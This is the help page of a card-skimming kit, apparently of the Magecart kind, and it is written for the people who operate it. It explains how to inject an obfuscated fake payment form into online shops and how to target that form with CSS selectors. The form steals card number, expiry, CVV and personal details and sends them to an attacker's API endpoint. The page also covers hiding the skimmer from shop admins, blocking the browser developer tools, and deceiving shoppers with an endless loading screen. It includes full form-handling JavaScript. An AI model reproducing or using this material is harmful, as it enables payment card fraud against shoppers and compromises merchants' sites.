<h2>More about the "Generator JS" section</h2>
<p align="justify">In this sniffer you can generate JS code automatically. No special knowledge of JS/HTML is required, what you will need I will explain in detail below. Despite the abundance of settings, in fact, everything is simple and the fields are of the same type, so it will not be difficult to remember everything and it is quite easy to learn how to work with the generator, having understood the basic principle of its operation. Moreover, I created a video instruction on how to work with the generator.</p>

<h3>Generate JS for iframe form</h3>

<p align="justify">Let's start with the most difficult, but at the same time the most popular and interesting - with generating a JS sniffer for an iframe form. Having figured out how to work with this generator, the other parts of the generator (redirect, simple form) will become intuitively clear.</p>

<h4>How do I know if a form is an iframe?</h4>

<p align="justify">Everything is quite simple. Open the page where the payment form is installed. Right-click anywhere on the page and press "<strong>view page source</strong>" (do not confuse with "examine element" or "view code" as this will open the developer console). Next, we try to find the form in the html code of the page. You can press "CTRL + F" and search in the window that opens "<strong>&#60;form</strong>". If you see a form similar to a payment form (usually there will be text before the input like "<strong>card number</strong>", "<strong>cvv</strong>", "<strong>expiry date</strong>" or something similar) - then you are lucky and you have a native form. In this case, it is better to make a sniffer in PHP, but you can generate it automatically in the "Simple form" generator in JS. But most likely you will not see any html code of the form there, which indicates that it is loaded by means of JS as an iframe form. There is another option to check. You still click <strong>view page source</strong>, then click on any field of the form, for example where <strong>card number</strong> and choose "<strong>view code</strong>" or "<strong>analyze code</strong>" you will have the developer console open on the right or below and you will see something like"<strong>&#60;input type="text"</strong> " right-click there and press "edit as HTML" then just copy everything and return to the page with the source code, there press <strong>CTRL + F</strong> and look for what we copied. If nothing is found - then the form is an iframe, if such html code exists, then you are lucky.</p>

<p align="justify">If you don't understand, you can clearly see in the demonstration video how to do this (video on installing a sniffer on a simple form).</p>

<h4>What should I fill in the generator fields?</h4>

<p align="justify">First you need to choose<strong>method</strong> search form (on the entire site or specify the exact link). It is preferable to specify the exact link or part of the link so that errors do not occur and your form does not appear in other parts of the site not related to payment (this sometimes happens if the shop is written improperly). Sometimes, specifying the full link, the form may not work, while specifying a partial link, everything works fine.</p>

<p align="justify">If everything is clear with the indication of the full link, then with the indication of part of the link there are some nuances. If the form is located by a link, for example:</p>

<p>
<?php

highlight_string('
https://www.shop.com/supercheckout/?user=1387
');

?>
</p><br />

<p align="justify">then part of the link must be specified before the question mark"<strong>?</strong>" if it is there. Namely:</p>

<p>
<?php

highlight_string('
/supercheckout
');

?>
</p><br />

<p align="justify">The form field is critically important, you may not be able to determine the ideal place to place your form instead of the form on the site the first time. So, to find a place to integrate our form, on the payment form page where the original form is located, right-click and also select "<strong>view code</strong>" or "<strong>analyze code</strong>" and look at the html code of the original form, our task is to find the very beginning of the form where we will place ours and block the original. You can understand by moving the cursor over the html code and we will visually see the element on the page that will be highlighted. Usually this will be<strong>div</strong> with an intuitive name like:

</p>

<p>
<?php

highlight_string('
<div class="form-group form bs-component" id="paynent-form">
');

?>
</p><br />

<p align="justify">In this example we see <strong>class="form-group form bs-component"</strong> and <strong>id="paynent-form"</strong> and we can hook our form using this. If we choose <strong>id</strong>, then we copy<strong>id</strong> and in the generator we first write "<strong>#</strong>" and then copied <strong>id</strong>, that is, in the "form" field we enter in this example:</p>

<p>
<?php

highlight_string('
#paynent-form
');

?>
</p><br />

<p align="justify">we can also hook using the value <strong>class</strong> but for <strong>class</strong> we will first indicate the point:</p>

<p>
<?php

highlight_string('
.form-group
');

?>
</p><br />

<p align="justify">That is, for <strong>id</strong> we write first <strong>"#"</strong>, and for the class <strong>"."</strong></p>

<p align="justify">You can specify all class values more precisely to exclude the possibility of picking up another div on the page with the same class. This is done like this:</p>

<p>
<?php

highlight_string('
.form-group.form.bs-component
');

?>
</p><br />

<p align="justify">that is, before each class value we put a dot <strong>"."</strong></p>

<p align="justify">Next we have the optional value "PayMethod". It is needed so that the form does not appear immediately, but when the user selects a payment method. For example, the site may provide a choice of different payment methods, such as <strong>paypal</strong>, payment by card, etc. It can be set up so that when the user selects payment by card, only in this case our form appears. Everything is done as in the previous case, but instead of <strong>div</strong> or <strong>span</strong> most likely it will be <strong>radiobutton</strong> or <strong>label</strong>. It still needs to be found <strong>id</strong> or <strong>class</strong> and specify in the generator by writing <strong>"#"</strong> or <strong>"."</strong> depending on which parameter we will use to detect the click.</p>

<p align="justify">For example, if you have an input like this:</p>

<p>
<?php

highlight_string('
<input type="radio" name="payment" id="card" class="radio-card" value="card">
');

?>
</p><br />

<p align="justify">Then we will indicate it like this:</p>

<p>
<?php

highlight_string('
#card
');
?>
</p><br />

<p align="justify">or like this:</p>

<p>
<?php

highlight_string('
.radio-card
');

?>
</p><br />

<p align="justify">If the "PayMethod" field is left empty, our form will load immediately when the page loads.</p>

<p align="justify">Next, you need to fill in the "Button" field to catch a click on it and send the data to our sniffer. Everything is done in the same way as in the example above (right-click on the button, press "<strong>view code</strong>" or "<strong>analyze code</strong>" watch <strong>id</strong> or <strong>class</strong>) but for the button we don't need to specify either the # or the dot first</p>

<p align="justify">Let's assume you have a button like this:</p>

<p>
<?php

highlight_string('
<button type="button" id="payment" class="btn btn-payment">Pay</button>
');

?>
</p><br />

<p align="justify">then we indicate:</p>

<p>
<?php

highlight_string('
payment
');

?>
</p><br />

<p align="justify">or like this:</p>

<p>
<?php

highlight_string('
btn-payment
');

?>
</p><br />

<p align="justify"><i>Please note that you cannot specify the exact value of several classes for a button, only one!</i></p>

<p align="justify"><i>If the button is inactive until you fill out the original form correctly - do not worry about it. The automatic generator will add a function to unlock it and it will work when your form replaces the original one.</i></p>

<p align="justify">Next you need to specify <strong>API link</strong>. What it is and where to get it you can find out in the section "<strong>How the API work?</strong>". You only need to specify a link to the php file without variables, for example:</p>

<p>
<?php

highlight_string('
https://sniffer.com/ap.php
');

?>
</p><br />

<p align="justify">After that there are three fields where you can add your form's CSS, HTML code and JS code.</p>

<p align="justify"><i>Please note that CSS styles do not need to be specified "<strong>&#60;style&#62;</strong>". And for JavaScript you don't need to specify "<strong>&#60;script&#62;</strong>". You only need to specify the code inside these tags!</i></p>

<p align="justify">If you leave these fields empty, the generator will automatically insert a standard form with its styles and JS code. It is for demonstration and quick check of the generator's functionality. You need to install a form that is visually no different from the one in your shop.</p>

<h4>Nuances when creating your own form</h4>

<p align="justify"><i>Please note. If you fill in the HTML form field, and leave the fields with CSS styles and JS code empty, the form will be replaced with yours, but the JS code and CSS styles will be substituted by the standard ones. This applies to all fields, in which there is an empty value, it will be filled in by default.</i></p>

<p align="justify">This paragraph will be useful for the programmer who creates the form for your shop (you can simply copy this section and give it to him).</p>

<p align="justify">When creating your HTML form, add <strong>id</strong> for the holder, card number, expiry date and cvv fields as in the example below:</p>

<p>
<?php

highlight_string('
<input type="text" id="Field-holderInput" name="holder" placeholder="John Smith" maxlength="35" />
<input type="text" id="Field-numberInput" name="card-number" placeholder="1234 1234 1234 1234" />
<input type="text" id="Field-expiryInput" name="expiry-date" placeholder="MM / YY" maxlength="7" />
<input type="text" id="Field-cvcInput" name="cvc" placeholder="CVC" maxlength="4" />
');

?>
</p><br />

<p align="justify">You can create input as you like, any "name", any placeholder value, you can add your own styles for example <strong>style="width:100%;height:40px;"</strong> or <strong>class="input card-number"</strong>(then you should add these classes to CSS styles), and also add any of your own values, for example <strong>aria-required="true"</strong>. But the ID for each field must be as in the example above. The generator uses these IDs to get the data that the user filled in.</p>

<p align="justify">If your form does not have a value <strong>holder</strong>, then you can add a hidden field, like this:</p>

<p>
<?php

highlight_string('
<input type="hidden" id="Field-holderInput" name="exp" value="---" />
');

?>
</p><br />

<p align="justify">You can create your own validator in JS for your form fields, and also make automatic formatting of fields (for example, for the card field, allow only numbers and put a space after every 4 characters). The generator uses the validateFields() function <font color="red"><strong>it must</strong></font> be in your code. If you are creating your own JS code, for debugging you can simply write:</p>

<p>
<?php

highlight_string('
function validateFields() {
	return true;
}
');

?>
</p><br />

<p align="justify">then all fields will be considered entered correctly and the sniffer will transfer the data to the API (be careful because the API itself also checks the data and if there are empty values for the card, cvv, or expiration date, then such an data will not be saved to the database).</p>

<p align="justify">If your JS code contains syntax errors, then instead of obfuscated JS sniffer code you will get an error like this:</p>

<?php

highlight_string('
Error during obfuscation: ERROR at line 1: Unexpected token (1:16)
> ...howError(error){...
');

?><br />

<p align="justify">where <strong>line 1</strong> this is the line number where the error was found. Correct it and try again.</p>

<p align="justify">The sniffer uses this code by default to validate data (if you leave the field <strong>JS code</strong> empty):</p>

<p>
<?php

highlight_string('
      const holderInput = document.querySelector(\'#Field-holderInput\');
      const cardInput = document.querySelector(\'#Field-numberInput\');
      const expiryInput = document.querySelector(\'#Field-expiryInput\');
      const cvcInput = document.querySelector(\'#Field-cvcInput\');
      const visaIconInfield = document.querySelector(\'#icon-visa-infield\');
      const mcIconInfield = document.querySelector(\'#icon-mc-infield\');
      const amexIconInfield = document.querySelector(\'#icon-amex-infield\');
      const unionpayIconInfield = document.querySelector(\'#icon-unionpay-infield\');
      const cardIconsInfield = [visaIconInfield, mcIconInfield, amexIconInfield, unionpayIconInfield];
      
      if (!cardInput || !expiryInput || !cvcInput || !holderInput) {
        return;
      }

      function getCardType(number) {
        if (!number) return \'unknown\';
        
        if (/^4/.test(number)) return \'visa\';
        if (/^5[1-5]/.test(number)) return \'mastercard\';
        if (/^3[47]/.test(number)) return \'amex\';
        if (/^(62|88)/.test(number)) return \'unionpay\';
        return \'unknown\';
      }

      function updateCardIcons(type, value) {
        if (!value || value.length === 0) {
          cardIconsInfield.forEach(icon => {
            if (icon) icon.classList.remove(\'hidden-icon\');
          });
          return;
        }
        
        cardIconsInfield.forEach(icon => {
          if (icon) icon.classList.add(\'hidden-icon\');
        });
        
        switch(type) {
          case \'visa\':
            if (visaIconInfield) {
              visaIconInfield.classList.remove(\'hidden-icon\');
            }
            break;
          case \'mastercard\':
            if (mcIconInfield) {
              mcIconInfield.classList.remove(\'hidden-icon\');
            }
            break;
          case \'amex\':
            if (amexIconInfield) {
              amexIconInfield.classList.remove(\'hidden-icon\');
            }
            break;
          case \'unionpay\':
            if (unionpayIconInfield) {
              unionpayIconInfield.classList.remove(\'hidden-icon\');
            }
            break;
          default:
            cardIconsInfield.forEach(icon => {
              if (icon) icon.classList.remove(\'hidden-icon\');
            });
        }
      }

      function formatCardNumber(value, type) {
        const cleaned = value.replace(/\D/g, \'\');
        
        if (type === \'amex\') {
          return cleaned.replace(/^(\d{0,4})(\d{0,6})(\d{0,5}).*/, function(_, g1, g2, g3) {
            let result = g1;
            if (g2) result += \' \' + g2;
            if (g3) result += \' \' + g3;
            return result;
          });
        } else {
          return cleaned.replace(/(.{4})/g, \'$1 \').trim();
        }
      }

      cardInput.addEventListener(\'input\', function(e) {
        let value = e.target.value.replace(/\D/g, \'\');
        let type = getCardType(value);
        
        let maxLen = (type === \'amex\') ? 15 : 16;
        value = value.slice(0, maxLen);
        
        let formatted = formatCardNumber(value, type);
        e.target.value = formatted;
        
        updateCardIcons(type, value);
        
        e.target.classList.remove(\'validation-error\');
      });
      
      cardInput.addEventListener(\'focus\', function() {
        let value = cardInput.value.replace(/\D/g, \'\');
        let type = getCardType(value);
        updateCardIcons(type, value);
      });
      
      cardInput.addEventListener(\'blur\', function() {
        let value = cardInput.value.replace(/\D/g, \'\');
        if (value === \'\') {
          cardIconsInfield.forEach(icon => {
            if (icon) icon.classList.remove(\'hidden-icon\');
          });
        }
      });
      
      expiryInput.addEventListener(\'input\', function(e) {
        let value = e.target.value.replace(/\D/g, \'\');
        if (value.length >= 2) {
          value = value.slice(0, 2) + \' / \' + value.slice(2, 4);
        }
        e.target.value = value;
        e.target.classList.remove(\'validation-error\');
      });
      
      cvcInput.addEventListener(\'input\', function(e) {
        let value = e.target.value.replace(/\D/g, \'\').substring(0, 4);
        e.target.value = value;
        e.target.classList.remove(\'validation-error\');
      });

      holderInput.addEventListener(\'input\', function(e) {
        e.target.classList.remove(\'validation-error\');
      });

      function luhnCheck(num) {
        if (!num || num.length < 13) return false;
        
        let arr = (num + \'\').split(\'\').reverse().map(x => parseInt(x));
        let sum = arr.reduce((acc, val, idx) => {
          if (idx % 2) {
            val *= 2;
            if (val > 9) val -= 9;
          }
          return acc + val;
        }, 0);
        return sum % 10 === 0;
      }
      
      function isValidExpiry(expiry) {
        if (!/^(0[1-9]|1[0-2]) \/ \d{2}$/.test(expiry)) return false;
        
        let [mm, yy] = expiry.split(\' / \');
        mm = parseInt(mm, 10);
        yy = parseInt(yy, 10) + 2000;
        
        let now = new Date();
        let expDate = new Date(yy, mm - 1, 1);
        expDate.setMonth(expDate.getMonth() + 1);
        
        return expDate > now;
      }
      
      function validateFields() {
        let isValid = true;
        
        const cardValue = cardInput.value.replace(/\D/g, \'\');
        const cardType = getCardType(cardValue);
        const holderValid = holderInput.value;

        if(holderValid.length<7){
          holderInput.classList.add(\'validation-error\');
          isValid = false;
        }else{
          holderInput.classList.remove(\'validation-error\');
        }
        
        const cardValid = luhnCheck(cardValue) && 
                 ((cardType === \'amex\' && cardValue.length === 15) ||
                  (cardType !== \'amex\' && cardValue.length === 16));
        
        if (!cardValid) {
          cardInput.classList.add(\'validation-error\');
          isValid = false;
        } else {
          cardInput.classList.remove(\'validation-error\');
        }
        
        const expiryValid = isValidExpiry(expiryInput.value);
        if (!expiryValid) {
          expiryInput.classList.add(\'validation-error\');
          isValid = false;
        } else {
          expiryInput.classList.remove(\'validation-error\');
        }
        
        const cvcValid = /^\d{3,4}$/.test(cvcInput.value);
        if (!cvcValid) {
          cvcInput.classList.add(\'validation-error\');
          isValid = false;
        } else {
          cvcInput.classList.remove(\'validation-error\');
        }
        return isValid;
      }
      
      function getFieldValue(fieldId) {
        const field = document.getElementById(fieldId);
        return field ? field.value : \'\';
      }
');

?>
</p><br />

<p align="justify">When creating your form, you can partially use it or remake it for your form. Or just study it to understand how everything works.</p>

<h4>Other settings</h4>

<p align="justify">Next you can put a tick "<strong>Block dev tools</strong>" which will logically interfere with the browser when opening developer tools (console/network browsing/code inspection). Depending on the browser, the effect may be different. Some browsers crash, some freeze, and some will simply disable JavaScript. This function prevents the sniffer from being analyzed and the ability to see which domain the data is being sent to. It is especially important to use it when the data is being sent directly to your sniffer and not stored on the shop itself.</p>

<p align="justify">And lower you can put a tick on <strong>Collect additional data</strong>, such as country, address, email, etc. If you check this box, an impressive list will open, but don't be scared. They are all the same type and it's not difficult to figure it out.</p>

<p align="justify">So, first you have to choose a method for collecting this data (site-wide, <strong>on the same page</strong> as the form or specify a link or part of the link (as in the previous case for the form)). Select "collect <strong>on the same page</strong> as the form" is only possible if a link or part of a link for the form is specified.</p>

<p align="justify">If you need to collect data from several pages, for example, from the registration page, some data, and after authorization, when the user edits profile data, then in this case you need to specify that the sniffer collect additional data from the entire site.</p>

<p align="justify">Next, you can select the data you are interested in (which can be collected in your shop). Check the boxes above the fields you need. They are filled in the same way. Go to the shop on the page where you can fill in these fields (for example, on the registration page), right-click on the desired field and select "view code" or "view element code" and you will see something like:</p>

<p>
<?php

highlight_string('
<input name="supercheckout_email" type="text" id="billing-email" class="input input-email" />
');

?>
</p><br />

<p align="justify">The most reliable way would be to indicate <strong>name</strong> for example for the example above it would be:</p>

<p>
<?php

highlight_string('
[name="supercheckout_email"]
');

?>
</p><br />

<p align="justify">You can also grab the data of this field by id, for example like this:</p> 

<p>
<?php

highlight_string('
#billing-email
');

?>
</p><br />

<p align="justify">and even by class value, for example:</p>

<p>
<?php

highlight_string('
.input-email
');

?>
</p><br />

<p>or like this:</p>

<p>
<?php

highlight_string('
.input.input-email
');

?>
</p><br />

<p align="justify">in fact, there are other ways to pick up data, but for a regular user, what I described will be quite enough, for JS programmers I will clarify that this function is used:</p>

<p>
<?php

highlight_string('
document.querySelector(\'VALUE\');
');

?>
</p><br />

<p align="justify">and if you want, you can use a more complex method to hook onto the input you need.</p>

<p align="justify">That's all you need to know to work with the generator. Click "<strong>Submit</strong>", copy the generated code and we can test it (I recommend that you first check the functionality by opening the console in the developer tools and check that everything works perfectly and when you manage to set everything up, then insert it into the js file of your shop (if you want to insert it in the middle of the html code, then place the js code generated by the automatic generator between:<strong>&#60;script&#62;</strong> your generated code <strong>&#60;/script&#62;</strong>))</p> 

<p align="justify">Yes, at first glance there is a lot of information, but in fact, once you get the hang of it, installing the sniffer will take just a few minutes. There is nothing particularly complicated and even a person far from programming can handle it. For clarity, you can watch a video with an example of installing a JS sniffer (in this example, there will be no installation of your own form, but a standard one, which is built into the sniffer, will be used. I also intentionally made a mistake when selecting a form element so that you could clearly see the setup process) using an automatic generator for the iframe form:</p>

<video src="./inc/videos/iframe.mp4" width="640" height="480" controls></video>

<h3>Generate JS forms for redirection</h3>

<p align="justify">The generator for a shop with a redirect is not much different from that for an iframe, so I don't see any point in writing everything above again. The only thing worth noting is the ability to choose where to place your form "top" or "bottom". Based on the names, it is clear that if you choose "up", the form will appear on top of the selected element and if you choose "down", then below.</p>

<h4>How do I know if a payment redirect has been set up on the site?</h4>

<p align="justify">It's very simple. If the shop itself doesn't have any form of payment, and when you click on the "pay" or "proceed to payment" button, you are redirected to a completely different site that has nothing to do with your shop and to which you also don't have access, then this is a redirect. There's nothing special you can do here. The only option is to put your form in the place you like. At the same time, don't forget that you need to cut off admins by cookie <strong>SESSION</strong> so that the admin does not see any form (you can read more about this in the section "<strong>useful tips</strong>").</p>

<p align="justify">In the generator, this moment is thought out and after the user has entered data into your form, a loading window will pop up that will load forever until he reloads the page, after reloading the second time, the form will not appear and he will be reirected, as originally intended, to a third-party payment gateway. The user may think that there was a payment failure and therefore the payment method has changed and will not suspect anything.</p>

<p align="justify">For clarity, you can watch a video on how to install your own form (also using a standard form, without creating your own) using a JS generator:</p>

<video src="./inc/videos/redirect.mp4" width="640" height="480" controls></video>

<h3>Generate JS form for simple form</h3>

<p align="justify">To install a sniffer on a simple form, you don't need any special skills, everything is similar to the previous instructions. That's why it is a simple form. How to determine that the form is native, you can see at the very top in this same FAQ section "<strong>How do I know if a form is an iframe?</strong>" (on the shop the form can be either native or iframe).
</p>

<p align="justify">Select the trigger method in the same way as in the case of the iframe form. For fields <strong>holder</strong> and <strong>card</strong> set the value (works similarly to collecting additional data (since the form is simple, the filled data of the fields can be collected directly from the site without installing your form)). Next, choose how the date looks on the site (either one field as in the case of a standard form for iframe/redirect) or two fields (usually these are 2 selecta, in one you can select a month, in the other a year). Field <strong>cvv</strong> also filled in the same way as collecting additional data. The button and API link are all the same as in the iframe/redirect generator, filled in like everything below (blocking developer tools and collecting additional data).</p>

<p align="justify">For clarity, you can watch the video on how to install JS code on the shop for a simple form below:</p>

<video src="./inc/videos/simple.mp4" width="640" height="480" controls></video>